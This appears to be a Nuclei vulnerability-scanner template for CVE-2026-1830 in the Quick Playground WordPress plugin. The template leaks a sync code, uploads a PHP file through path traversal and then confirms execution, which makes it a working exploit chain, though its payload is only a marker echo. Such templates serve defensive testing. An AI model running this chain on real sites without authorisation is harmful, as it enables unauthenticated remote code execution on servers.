id: CVE-2026-1830 info: name: Quick Playground <= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload author: iamatownboy severity: critical description: | The Quick Playground plugin for WordPress is vulnerable to remote code execution in all versions up to, and including, 1.3.1. The plugin exposes a blueprint REST API endpoint (permission_callback: __return_true) that leaks the sync code, and an upload_image endpoint that accepts file uploads with path traversal in the filename parameter without sufficient authorization checks, which can be chained into arbitrary PHP file upload and RCE. impact: | Unauthenticated attackers can retrieve the sync code via the blueprint endpoint, upload arbitrary PHP files via path traversal in the upload_image endpoint, and achieve remote code execution on the server. remediation: | Update Quick Playground to version 1.3.2 or later. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-1830 - https://www.wordfence.com/threat-intel/vulnerabilities/id/308cd28a-a477-4bc6-a392-ad5a9eca1cb5?source=cve - https://plugins.trac.wordpress.org/browser/quick-playground/trunk/api.php#L39 - https://plugins.trac.wordpress.org/browser/quick-playground/trunk/expro-api.php#L419 - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3500839%40quick-playground&new=3500839%40quick-playground&sfp_email=&sfph_mail= classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-1830 epss-score: 0.08095 epss-percentile: 0.94487 cwe-id: CWE-862 metadata: verified: true max-request: 4 vendor: davidfcarr product: quick-playground framework: wordpress publicwww-query: "/plugins/quick-playground/" tags: cve,cve2026,wordpress,wp,wp-plugin,quick-playground,unauth,rce,file-upload,intrusive variables: filename: "{{rand_text_alpha(8)}}.php" flow: http(1) && http(2) && http(3) && http(4) http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/quick-playground/readme.txt" matchers: - type: dsl dsl: - contains(body, "Quick Playground") - compare_versions(version, "<= 1.3.1") condition: and internal: true extractors: - type: regex name: version part: body group: 1 regex: - '(?i)Stable tag:\s*([0-9.]+)' internal: true - raw: - | GET /wp-json/quickplayground/v1/blueprint/default HTTP/1.1 Host: {{Hostname}} matchers: - type: regex part: body regex: - '"qckply_sync_code"\s*:\s*"[a-zA-Z0-9]+"' internal: true extractors: - type: regex name: sync_code part: body group: 1 regex: - '"qckply_sync_code"\s*:\s*"([a-zA-Z0-9]+)"' internal: true - raw: - | POST /wp-json/quickplayground/v1/upload_image/default HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"sync_code":"{{sync_code}}","base64":"PD9waHAgZWNobyAiQ1ZFLTIwMjYtMTgzMCI7ID8+","filename":"../../{{filename}}"} matchers: - type: dsl dsl: - status_code == 200 - contains(body, "saving to") condition: and internal: true - method: GET path: - "{{BaseURL}}/wp-content/{{filename}}" matchers: - type: dsl dsl: - status_code == 200 - contains(body, "CVE-2026-1830") condition: and # digest: 4a0a00473045022100891810c73031a79204e79386802a32c5d037a5da527c725151d2811408f39eb4022014ed8cc3e67c003940f6bf6d3104929940e99765021d90372ac364d2f5550b00:922c64590222798bb761d5b6d8e72950